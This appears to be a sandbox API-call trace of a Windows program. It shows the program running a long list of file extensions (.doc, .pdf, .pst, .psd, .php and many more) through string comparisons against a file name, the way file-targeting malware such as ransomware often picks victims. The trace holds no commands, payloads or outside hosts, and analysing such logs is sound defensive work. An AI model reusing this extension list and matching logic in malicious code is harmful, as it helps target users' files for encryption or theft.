	[0062.012] lstrlenW (lpString=".asc") returned 4
	[0062.012] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1
	[0062.012] lstrlenW (lpString=".ascx") returned 5
	[0062.012] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1
	[0062.012] lstrlenW (lpString=".asm") returned 4
	[0062.012] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1
	[0062.012] lstrlenW (lpString=".asmx") returned 5
	[0062.012] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1
	[0062.012] lstrlenW (lpString=".asp") returned 4
	[0062.012] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1
	[0062.012] lstrlenW (lpString=".aspx") returned 5
	[0062.012] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1
	[0062.012] lstrlenW (lpString=".asr") returned 4
	[0062.012] lstrcmpiW (lpString1=".asr", lpString2=".rtf") returned -1
	[0062.012] lstrlenW (lpString=".asx") returned 4
	[0062.012] lstrcmpiW (lpString1=".asx", lpString2=".rtf") returned -1
	[0062.012] lstrlenW (lpString=".avi") returned 4
	[0062.012] lstrcmpiW (lpString1=".avi", lpString2=".rtf") returned -1
	[0062.012] lstrlenW (lpString=".avs") returned 4
	[0062.012] lstrcmpiW (lpString1=".avs", lpString2=".rtf") returned -1
	[0062.012] lstrlenW (lpString=".backup") returned 7
	[0062.012] lstrcmpiW (lpString1=".backup", lpString2="ula.rtf") returned -1
	[0062.012] lstrlenW (lpString=".bak") returned 4
	[0062.012] lstrcmpiW (lpString1=".bak", lpString2=".rtf") returned -1
	[0062.012] lstrlenW (lpString=".bay") returned 4
	[0062.012] lstrcmpiW (lpString1=".bay", lpString2=".rtf") returned -1
	[0062.012] lstrlenW (lpString=".bd") returned 3
	[0062.012] lstrcmpiW (lpString1=".bd", lpString2="rtf") returned -1
	[0062.012] lstrlenW (lpString=".bin") returned 4
	[0062.012] lstrcmpiW (lpString1=".bin", lpString2=".rtf") returned -1
	[0062.013] lstrlenW (lpString=".bmp") returned 4
	[0062.013] lstrcmpiW (lpString1=".bmp", lpString2=".rtf") returned -1
	[0062.013] lstrlenW (lpString=".bz2") returned 4
	[0062.013] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0062.013] lstrlenW (lpString=".c") returned 2
	[0062.013] lstrcmpiW (lpString1=".c", lpString2="tf") returned -1
	[0062.013] lstrlenW (lpString=".cdr") returned 4
	[0062.013] lstrcmpiW (lpString1=".cdr", lpString2=".rtf") returned -1
	[0062.013] lstrlenW (lpString=".cer") returned 4
	[0062.013] lstrcmpiW (lpString1=".cer", lpString2=".rtf") returned -1
	[0062.013] lstrlenW (lpString=".cf") returned 3
	[0062.013] lstrcmpiW (lpString1=".cf", lpString2="rtf") returned -1
	[0062.013] lstrlenW (lpString=".cfc") returned 4
	[0062.013] lstrcmpiW (lpString1=".cfc", lpString2=".rtf") returned -1
	[0062.013] lstrlenW (lpString=".cfm") returned 4
	[0062.013] lstrcmpiW (lpString1=".cfm", lpString2=".rtf") returned -1
	[0062.013] lstrlenW (lpString=".cfml") returned 5
	[0062.013] lstrcmpiW (lpString1=".cfml", lpString2="a.rtf") returned -1
	[0062.013] lstrlenW (lpString=".cfu") returned 4
	[0062.013] lstrcmpiW (lpString1=".cfu", lpString2=".rtf") returned -1
	[0062.013] lstrlenW (lpString=".chm") returned 4
	[0062.013] lstrcmpiW (lpString1=".chm", lpString2=".rtf") returned -1
	[0062.013] lstrlenW (lpString=".cin") returned 4
	[0062.013] lstrcmpiW (lpString1=".cin", lpString2=".rtf") returned -1
	[0062.013] lstrlenW (lpString=".class") returned 6
	[0062.013] lstrcmpiW (lpString1=".class", lpString2="la.rtf") returned -1
	[0062.013] lstrlenW (lpString=".clx") returned 4
	[0062.013] lstrcmpiW (lpString1=".clx", lpString2=".rtf") returned -1
	[0062.013] lstrlenW (lpString=".config") returned 7
	[0062.013] lstrcmpiW (lpString1=".config", lpString2="ula.rtf") returned -1
	[0062.013] lstrlenW (lpString=".cpp") returned 4
	[0062.013] lstrcmpiW (lpString1=".cpp", lpString2=".rtf") returned -1
	[0062.013] lstrlenW (lpString=".cr2") returned 4
	[0062.013] lstrcmpiW (lpString1=".cr2", lpString2=".rtf") returned -1
	[0062.013] lstrlenW (lpString=".crt") returned 4
	[0062.013] lstrcmpiW (lpString1=".crt", lpString2=".rtf") returned -1
	[0062.013] lstrlenW (lpString=".crw") returned 4
	[0062.013] lstrcmpiW (lpString1=".crw", lpString2=".rtf") returned -1
	[0062.014] lstrlenW (lpString=".cs") returned 3
	[0062.014] lstrcmpiW (lpString1=".cs", lpString2="rtf") returned -1
	[0062.014] lstrlenW (lpString=".css") returned 4
	[0062.014] lstrcmpiW (lpString1=".css", lpString2=".rtf") returned -1
	[0062.014] lstrlenW (lpString=".csv") returned 4
	[0062.014] lstrcmpiW (lpString1=".csv", lpString2=".rtf") returned -1
	[0062.014] lstrlenW (lpString=".cub") returned 4
	[0062.014] lstrcmpiW (lpString1=".cub", lpString2=".rtf") returned -1
	[0062.014] lstrlenW (lpString=".dae") returned 4
	[0062.014] lstrcmpiW (lpString1=".dae", lpString2=".rtf") returned -1
	[0062.014] lstrlenW (lpString=".dat") returned 4
	[0062.014] lstrcmpiW (lpString1=".dat", lpString2=".rtf") returned -1
	[0062.014] lstrlenW (lpString=".db") returned 3
	[0062.014] lstrcmpiW (lpString1=".db", lpString2="rtf") returned -1
	[0062.014] lstrlenW (lpString=".dbf") returned 4
	[0062.014] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0062.014] lstrlenW (lpString=".dbx") returned 4
	[0062.014] lstrcmpiW (lpString1=".dbx", lpString2=".rtf") returned -1
	[0062.014] lstrlenW (lpString=".dc3") returned 4
	[0062.014] lstrcmpiW (lpString1=".dc3", lpString2=".rtf") returned -1
	[0062.014] lstrlenW (lpString=".dcm") returned 4
	[0062.014] lstrcmpiW (lpString1=".dcm", lpString2=".rtf") returned -1
	[0062.014] lstrlenW (lpString=".dcr") returned 4
	[0062.014] lstrcmpiW (lpString1=".dcr", lpString2=".rtf") returned -1
	[0062.014] lstrlenW (lpString=".der") returned 4
	[0062.014] lstrcmpiW (lpString1=".der", lpString2=".rtf") returned -1
	[0062.014] lstrlenW (lpString=".dib") returned 4
	[0062.014] lstrcmpiW (lpString1=".dib", lpString2=".rtf") returned -1
	[0062.014] lstrlenW (lpString=".dic") returned 4
	[0062.014] lstrcmpiW (lpString1=".dic", lpString2=".rtf") returned -1
	[0062.014] lstrlenW (lpString=".dif") returned 4
	[0062.014] lstrcmpiW (lpString1=".dif", lpString2=".rtf") returned -1
	[0062.014] lstrlenW (lpString=".divx") returned 5
	[0062.014] lstrcmpiW (lpString1=".divx", lpString2="a.rtf") returned -1
	[0062.014] lstrlenW (lpString=".djvu") returned 5
	[0062.014] lstrcmpiW (lpString1=".djvu", lpString2="a.rtf") returned -1
	[0062.014] lstrlenW (lpString=".dng") returned 4
	[0062.015] lstrcmpiW (lpString1=".dng", lpString2=".rtf") returned -1
	[0062.015] lstrlenW (lpString=".doc") returned 4
	[0062.015] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0062.015] lstrlenW (lpString=".docm") returned 5
	[0062.015] lstrcmpiW (lpString1=".docm", lpString2="a.rtf") returned -1
	[0062.015] lstrlenW (lpString=".docx") returned 5
	[0062.015] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0062.015] lstrlenW (lpString=".dot") returned 4
	[0062.015] lstrcmpiW (lpString1=".dot", lpString2=".rtf") returned -1
	[0062.015] lstrlenW (lpString=".dotm") returned 5
	[0062.015] lstrcmpiW (lpString1=".dotm", lpString2="a.rtf") returned -1
	[0062.015] lstrlenW (lpString=".dotx") returned 5
	[0062.015] lstrcmpiW (lpString1=".dotx", lpString2="a.rtf") returned -1
	[0062.015] lstrlenW (lpString=".dpx") returned 4
	[0062.015] lstrcmpiW (lpString1=".dpx", lpString2=".rtf") returned -1
	[0062.015] lstrlenW (lpString=".dqy") returned 4
	[0062.015] lstrcmpiW (lpString1=".dqy", lpString2=".rtf") returned -1
	[0062.015] lstrlenW (lpString=".dsn") returned 4
	[0062.015] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1
	[0062.015] lstrlenW (lpString=".dt") returned 3
	[0062.015] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1
	[0062.015] lstrlenW (lpString=".dtd") returned 4
	[0062.015] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1
	[0062.015] lstrlenW (lpString=".dwg") returned 4
	[0062.015] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1
	[0062.015] lstrlenW (lpString=".dwt") returned 4
	[0062.015] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1
	[0062.015] lstrlenW (lpString=".dx") returned 3
	[0062.015] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1
	[0062.015] lstrlenW (lpString=".dxf") returned 4
	[0062.015] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1
	[0062.015] lstrlenW (lpString=".edml") returned 5
	[0062.015] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1
	[0062.015] lstrlenW (lpString=".efd") returned 4
	[0062.015] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1
	[0062.015] lstrlenW (lpString=".elf") returned 4
	[0062.015] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1
	[0062.015] lstrlenW (lpString=".emf") returned 4
	[0062.016] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1
	[0062.016] lstrlenW (lpString=".emz") returned 4
	[0062.016] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1
	[0062.016] lstrlenW (lpString=".epf") returned 4
	[0062.016] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1
	[0062.016] lstrlenW (lpString=".eps") returned 4
	[0062.016] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1
	[0062.016] lstrlenW (lpString=".epsf") returned 5
	[0062.016] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1
	[0062.016] lstrlenW (lpString=".epsp") returned 5
	[0062.016] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1
	[0062.016] lstrlenW (lpString=".erf") returned 4
	[0062.016] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1
	[0062.016] lstrlenW (lpString=".exr") returned 4
	[0062.016] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1
	[0062.016] lstrlenW (lpString=".f4v") returned 4
	[0062.016] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1
	[0062.016] lstrlenW (lpString=".fido") returned 5
	[0062.016] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1
	[0062.016] lstrlenW (lpString=".flm") returned 4
	[0062.016] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1
	[0062.016] lstrlenW (lpString=".flv") returned 4
	[0062.016] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1
	[0062.016] lstrlenW (lpString=".frm") returned 4
	[0062.016] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1
	[0062.016] lstrlenW (lpString=".fxg") returned 4
	[0062.016] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1
	[0062.016] lstrlenW (lpString=".geo") returned 4
	[0062.016] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1
	[0062.016] lstrlenW (lpString=".gif") returned 4
	[0062.016] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1
	[0062.016] lstrlenW (lpString=".grs") returned 4
	[0062.016] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1
	[0062.016] lstrlenW (lpString=".gz") returned 3
	[0062.016] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1
	[0062.016] lstrlenW (lpString=".h") returned 2
	[0062.016] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1
	[0062.016] lstrlenW (lpString=".hdr") returned 4
	[0062.017] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1
	[0062.017] lstrlenW (lpString=".hpp") returned 4
	[0062.017] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1
	[0062.017] lstrlenW (lpString=".hta") returned 4
	[0062.017] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1
	[0062.017] lstrlenW (lpString=".htc") returned 4
	[0062.017] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1
	[0062.017] lstrlenW (lpString=".htm") returned 4
	[0062.017] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1
	[0062.017] lstrlenW (lpString=".html") returned 5
	[0062.017] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1
	[0062.017] lstrlenW (lpString=".icb") returned 4
	[0062.017] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1
	[0062.017] lstrlenW (lpString=".ics") returned 4
	[0062.017] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1
	[0062.017] lstrlenW (lpString=".iff") returned 4
	[0062.017] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1
	[0062.017] lstrlenW (lpString=".inc") returned 4
	[0062.017] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1
	[0062.017] lstrlenW (lpString=".indd") returned 5
	[0062.017] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1
	[0062.017] lstrlenW (lpString=".ini") returned 4
	[0062.018] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1
	[0062.018] lstrlenW (lpString=".iqy") returned 4
	[0062.018] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1
	[0062.018] lstrlenW (lpString=".j2c") returned 4
	[0062.018] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1
	[0062.018] lstrlenW (lpString=".j2k") returned 4
	[0062.018] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1
	[0062.018] lstrlenW (lpString=".java") returned 5
	[0062.018] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1
	[0062.018] lstrlenW (lpString=".jp2") returned 4
	[0062.018] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1
	[0062.018] lstrlenW (lpString=".jpc") returned 4
	[0062.018] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1
	[0062.018] lstrlenW (lpString=".jpe") returned 4
	[0062.018] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1
	[0062.018] lstrlenW (lpString=".jpeg") returned 5
	[0062.018] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1
	[0062.018] lstrlenW (lpString=".jpf") returned 4
	[0062.018] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1
	[0062.018] lstrlenW (lpString=".jpg") returned 4
	[0062.018] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0062.018] lstrlenW (lpString=".jpx") returned 4
	[0062.018] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1
	[0062.018] lstrlenW (lpString=".js") returned 3
	[0062.018] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1
	[0062.018] lstrlenW (lpString=".jsf") returned 4
	[0062.018] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1
	[0062.018] lstrlenW (lpString=".json") returned 5
	[0062.018] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1
	[0062.018] lstrlenW (lpString=".jsp") returned 4
	[0062.018] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1
	[0062.018] lstrlenW (lpString=".kdc") returned 4
	[0062.018] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1
	[0062.018] lstrlenW (lpString=".kmz") returned 4
	[0062.018] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1
	[0062.018] lstrlenW (lpString=".kwm") returned 4
	[0062.018] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1
	[0062.018] lstrlenW (lpString=".lasso") returned 6
	[0062.019] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1
	[0062.019] lstrlenW (lpString=".lbi") returned 4
	[0062.019] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1
	[0062.019] lstrlenW (lpString=".lgf") returned 4
	[0062.019] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1
	[0062.019] lstrlenW (lpString=".lgp") returned 4
	[0062.019] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1
	[0062.019] lstrlenW (lpString=".log") returned 4
	[0062.019] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1
	[0062.019] lstrlenW (lpString=".m1v") returned 4
	[0062.019] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1
	[0062.019] lstrlenW (lpString=".m4a") returned 4
	[0062.019] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1
	[0062.019] lstrlenW (lpString=".m4v") returned 4
	[0062.019] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1
	[0062.019] lstrlenW (lpString=".max") returned 4
	[0062.019] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1
	[0062.019] lstrlenW (lpString=".md") returned 3
	[0062.019] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1
	[0062.019] lstrlenW (lpString=".mda") returned 4
	[0062.019] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1
	[0062.019] lstrlenW (lpString=".mdb") returned 4
	[0062.019] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1
	[0062.019] lstrlenW (lpString=".mde") returned 4
	[0062.019] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1
	[0062.019] lstrlenW (lpString=".mdf") returned 4
	[0062.019] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1
	[0062.019] lstrlenW (lpString=".mdw") returned 4
	[0062.019] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1
	[0062.019] lstrlenW (lpString=".mef") returned 4
	[0062.019] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1
	[0062.019] lstrlenW (lpString=".mft") returned 4
	[0062.019] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1
	[0062.019] lstrlenW (lpString=".mfw") returned 4
	[0062.019] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1
	[0062.019] lstrlenW (lpString=".mht") returned 4
	[0062.019] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1
	[0062.019] lstrlenW (lpString=".mhtml") returned 6
	[0062.020] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1
	[0062.020] lstrlenW (lpString=".mka") returned 4
	[0062.020] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1
	[0062.020] lstrlenW (lpString=".mkidx") returned 6
	[0062.020] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1
	[0062.020] lstrlenW (lpString=".mkv") returned 4
	[0062.020] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1
	[0062.020] lstrlenW (lpString=".mos") returned 4
	[0062.020] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1
	[0062.020] lstrlenW (lpString=".mov") returned 4
	[0062.020] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1
	[0062.020] lstrlenW (lpString=".mp3") returned 4
	[0062.020] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1
	[0062.020] lstrlenW (lpString=".mp4") returned 4
	[0062.020] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1
	[0062.020] lstrlenW (lpString=".mpeg") returned 5
	[0062.020] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1
	[0062.020] lstrlenW (lpString=".mpg") returned 4
	[0062.020] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1
	[0062.020] lstrlenW (lpString=".mpv") returned 4
	[0062.020] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1
	[0062.020] lstrlenW (lpString=".mrw") returned 4
	[0062.020] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1
	[0062.020] lstrlenW (lpString=".msg") returned 4
	[0062.020] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1
	[0062.020] lstrlenW (lpString=".mxl") returned 4
	[0062.020] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1
	[0062.020] lstrlenW (lpString=".myd") returned 4
	[0062.020] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1
	[0062.020] lstrlenW (lpString=".myi") returned 4
	[0062.020] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1
	[0062.020] lstrlenW (lpString=".nef") returned 4
	[0062.020] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1
	[0062.020] lstrlenW (lpString=".nrw") returned 4
	[0062.020] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1
	[0062.020] lstrlenW (lpString=".obj") returned 4
	[0062.020] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1
	[0062.020] lstrlenW (lpString=".odb") returned 4
	[0062.021] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1
	[0062.021] lstrlenW (lpString=".odc") returned 4
	[0062.021] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1
	[0062.021] lstrlenW (lpString=".odm") returned 4
	[0062.021] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1
	[0062.021] lstrlenW (lpString=".odp") returned 4
	[0062.021] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1
	[0062.021] lstrlenW (lpString=".ods") returned 4
	[0062.021] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1
	[0062.021] lstrlenW (lpString=".oft") returned 4
	[0062.021] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1
	[0062.021] lstrlenW (lpString=".one") returned 4
	[0062.021] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1
	[0062.021] lstrlenW (lpString=".onepkg") returned 7
	[0062.021] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1
	[0062.021] lstrlenW (lpString=".onetoc2") returned 8
	[0062.021] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1
	[0062.021] lstrlenW (lpString=".opt") returned 4
	[0062.021] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1
	[0062.021] lstrlenW (lpString=".oqy") returned 4
	[0062.021] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1
	[0062.021] lstrlenW (lpString=".orf") returned 4
	[0062.021] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1
	[0062.021] lstrlenW (lpString=".p12") returned 4
	[0062.021] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1
	[0062.021] lstrlenW (lpString=".p7b") returned 4
	[0062.021] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1
	[0062.021] lstrlenW (lpString=".p7c") returned 4
	[0062.021] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1
	[0062.021] lstrlenW (lpString=".pam") returned 4
	[0062.021] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1
	[0062.021] lstrlenW (lpString=".pbm") returned 4
	[0062.021] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1
	[0062.021] lstrlenW (lpString=".pct") returned 4
	[0062.021] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1
	[0062.021] lstrlenW (lpString=".pcx") returned 4
	[0062.021] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1
	[0062.021] lstrlenW (lpString=".pdd") returned 4
	[0062.022] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1
	[0062.022] lstrlenW (lpString=".pdf") returned 4
	[0062.022] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0062.022] lstrlenW (lpString=".pdp") returned 4
	[0062.022] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1
	[0062.022] lstrlenW (lpString=".pef") returned 4
	[0062.022] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1
	[0062.022] lstrlenW (lpString=".pem") returned 4
	[0062.022] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1
	[0062.022] lstrlenW (lpString=".pff") returned 4
	[0062.022] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1
	[0062.022] lstrlenW (lpString=".pfm") returned 4
	[0062.022] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1
	[0062.022] lstrlenW (lpString=".pfx") returned 4
	[0062.022] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1
	[0062.022] lstrlenW (lpString=".pgm") returned 4
	[0062.022] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1
	[0062.022] lstrlenW (lpString=".php") returned 4
	[0062.022] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1
	[0062.022] lstrlenW (lpString=".php3") returned 5
	[0062.022] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1
	[0062.022] lstrlenW (lpString=".php4") returned 5
	[0062.022] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1
	[0062.022] lstrlenW (lpString=".php5") returned 5
	[0062.022] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1
	[0062.022] lstrlenW (lpString=".phtml") returned 6
	[0062.022] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1
	[0062.022] lstrlenW (lpString=".pict") returned 5
	[0062.022] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1
	[0062.022] lstrlenW (lpString=".pl") returned 3
	[0062.022] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1
	[0062.022] lstrlenW (lpString=".pls") returned 4
	[0062.022] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1
	[0062.022] lstrlenW (lpString=".pm") returned 3
	[0062.022] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1
	[0062.022] lstrlenW (lpString=".png") returned 4
	[0062.022] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1
	[0062.023] lstrlenW (lpString=".pnm") returned 4
	[0062.023] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1
	[0062.023] lstrlenW (lpString=".pot") returned 4
	[0062.023] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1
	[0062.023] lstrlenW (lpString=".potm") returned 5
	[0062.023] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1
	[0062.023] lstrlenW (lpString=".potx") returned 5
	[0062.023] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1
	[0062.023] lstrlenW (lpString=".ppa") returned 4
	[0062.023] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1
	[0062.023] lstrlenW (lpString=".ppam") returned 5
	[0062.023] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1
	[0062.023] lstrlenW (lpString=".ppm") returned 4
	[0062.023] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1
	[0062.023] lstrlenW (lpString=".pps") returned 4
	[0062.023] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1
	[0062.023] lstrlenW (lpString=".ppsm") returned 5
	[0062.023] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1
	[0062.023] lstrlenW (lpString=".ppt") returned 4
	[0062.023] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0062.023] lstrlenW (lpString=".pptm") returned 5
	[0062.023] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1
	[0062.023] lstrlenW (lpString=".pptx") returned 5
	[0062.023] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1
	[0062.023] lstrlenW (lpString=".prn") returned 4
	[0062.023] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1
	[0062.023] lstrlenW (lpString=".ps") returned 3
	[0062.023] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1
	[0062.023] lstrlenW (lpString=".psb") returned 4
	[0062.023] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1
	[0062.023] lstrlenW (lpString=".psd") returned 4
	[0062.023] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1
	[0062.023] lstrlenW (lpString=".pst") returned 4
	[0062.023] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1
	[0062.023] lstrlenW (lpString=".ptx") returned 4
	[0062.023] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1
	[0062.023] lstrlenW (lpString=".pub") returned 4
	[0062.023] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1
	[0062.024] lstrlenW (lpString=".pwm") returned 4
	[0062.024] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1
	[0062.024] lstrlenW (lpString=".pxr") returned 4
	[0062.024] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1
	[0062.024] lstrlenW (lpString=".py") returned 3
	[0062.024] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1
	[0062.024] lstrlenW (lpString=".qt") returned 3
	[0062.024] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1
	[0062.024] lstrlenW (lpString=".r3d") returned 4
	[0062.024] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1
	[0062.024] lstrlenW (lpString=".raf") returned 4
